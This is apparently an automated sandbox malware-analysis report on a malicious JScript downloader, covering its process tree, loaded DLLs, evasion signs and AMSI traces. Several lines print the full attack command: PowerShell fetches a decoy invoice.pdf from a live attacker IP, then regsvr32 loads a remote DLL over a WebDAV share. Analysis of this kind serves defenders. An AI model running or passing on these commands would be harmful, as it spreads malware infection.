Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4720.js.csv");ITextStream.WriteLine(" entry:7175 f:luakgj");ITextStream.WriteLine(" exec:2 f:luakgj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4522			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5314			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep count: 4522 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7192	Thread sleep count: 5314 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7524	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3048	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1424	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7180	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000C.00000002.1339845334.0000012835A48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 0000000C.00000003.1329622133.0000012835AAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2558447692.000002181565A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2557542195.000002181022F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
